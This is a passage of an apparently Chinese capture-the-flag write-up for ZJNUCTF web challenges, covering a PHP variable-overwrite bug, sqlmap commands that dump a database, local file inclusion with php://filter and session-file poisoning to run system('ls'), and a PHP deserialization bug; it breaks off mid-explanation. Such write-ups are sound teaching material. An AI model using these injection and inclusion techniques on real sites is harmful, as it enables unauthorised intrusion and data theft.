WEB
1.easy_php
<?php
highlight_file("index.php"); #高亮代码
include("flag.php"); #包含flag.php文件
$_aaa = "No No No";
$_bbb = "Welcome";
if($_SERVER["REQUEST_METHOD"]!="POST"){ #判断上传类型是不是POST,如果不是,就die
die("
"."Welcome to ZJNUCTF!");
}
if(!isset($_POST["flag"])){ #POST一个flag变量
die ($_aaa);
}
foreach ($_GET as $key => $value){ #遍历一下post上来的数组
$$key = $$value;
}
foreach ($_POST as $key => $value){ #遍历一下get上来的数组
$$key = $value;
}
if ($_POST["flag"]!==$flag){ #如果post上来的变量跟flag.php里面的变量不一样,就die
die($_aaa);
}
else
{
echo "This is your flag : ".$flag."
";
die($_bbb);
}
?>
分析代码的过程已经在上面了,总而言之就是要post一个flag,如果跟原来的flag一样,就输出。
参考链接:https://www.freebuf.com/column/150731.html
这里利用了变量覆盖漏洞,利用第一个foreach先将$flag
的值赋给$_bbb
,然后利用die($_bbb)
将原本的flag值打印出来。
构造payload:
2.Easysql
没啥好讲的,sqlmap一把嗦。
先用BP抓包,保存为2.txt
python2 sqlmap.py -r 2.txt --dbs --thread 5
跑了一遍,先跑了sys,发现不是这个数据库,是test数据库:
python2 sqlmap.py -r 2.txt -D test --tables --thread 5
python2 sqlmap.py -r 2.txt -D test -T flag --columns --thread 5
python2 sqlmap.py -r 2.txt -D test -T flag -C flag --dump --thread 5
3.lfi2rce
打开链接,提示:
提示了user.php,phpinfo.php.分别访问一下,发现phpinfo.php可以访问,并且给了php的一系列信息。
在index.php上,有一个文件包含漏洞include($_POST['file']);
,上传一个file变量,就可以获得想要文件的源码。利用方法为:
file=php://filter/read=convert.base64-encode/resource=user.php
PD9waHANCiAgICBzZXNzaW9uX3N0YXJ0KCk7DQogICAgZWNobyAkX0NPT0tJRVsndXNlciddOw0KICAgICRfU0VTU0lPTlsnbmFtZSddID0gJF9DT09LSUVbJ3VzZXInXTsNCg==
base64解码一下,得到:
<?php
session_start();
echo $_COOKIE['user'];
$_SESSION['name'] = $_COOKIE['user'];
这里又存在一个cookie文件包含漏洞。先分析一下这个代码:
echo $_COOKIE['user'];
这里需要我们上传一个参数,为user,并且利用cookie传值的方式传输。
$_SESSION['name'] = $_COOKIE['user'];
这里将cookie传入的值赋给session。
首先我们随便传一个值:
传了一个cookie,值为admin。
然后去phpinfo对应的路径去寻找cookie:
/var/lib/php/sessions
这个即为存放路径,存放格式为sess_
+cookie值。
cookie值的查看方法在:
4stodq9feohijqk3jb9dlshjg4
这个即为cookie。
那么cookie存放的绝对路径为:/var/lib/php/sessions/sess_4stodq9feohijqk3jb9dlshjg4
我们再利用index.php的文件包含漏洞包涵一下cookie:
bmFtZXxzOjU6ImFkbWluIjs=
==>name|s:5:"admin";
将获得的数据base64解码以后,我们发现了我们上传了cookie。从而我们可以利用这个漏洞,去执行php的命令:
构造恶意用户名:
<?php system("ls"); ?>
bmFtZXxzOjE4OiI8P3BocCBzeXN0ZW0oImxzIikiOw==
==>name|s:18:"<?php system("ls")";
这里发现base64解码的结果跟我们上传的参数不一样,应该是被过滤了。想办法绕过:url编码绕过。
查看源码,发现我们已经上传成功了:
再利用漏洞包含以下cookie:
bmFtZXxzOjIyOiI8P3BocCBzeXN0ZW0oImxzIik7ID8+Ijs=
==>name|s:22:"<?php system("ls"); ?>";
为什么还是现实不出来呢,我也不知道为什么。经历了一下午的纠结之后,无意中想到去掉base64会怎么样,于是:
file=php://filter/read=convert/resource=/var/lib/php/sessions/sess_28sfnijqudr01hk8smaqkpblq3
找到文件名了,利用文件包含漏洞包含以下就出flag了:
flag{36ab1c89-82fc-4ad6-a459-8af09703d2e7}
4.Babyweb
源码如下:
<?php
# flag in /flag
class red
{
private $filename = 'index.php';
function __toString()
{
return file_get_contents($this->filename);
}
}
function check($s) { //这个函数的作用,是规定我们输入的字符的ascii值必须在32-125之间(也就是不能输入%00)
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'exp'})) {
$exp = (string)$_GET['exp'];
if(check($exp)) {
$obj = unserialize($exp);
echo $obj;
}
}
highlight_file(__FILE__);
其实很简单,就是一个php反序列化漏洞。需要注意的就是:这里的filename是private属性。
private定义的变量,在序列化之后会生成两个空字节,一般来说空字节用%00
表示,但是由于check()函数不允许%00
的输入,所以必须用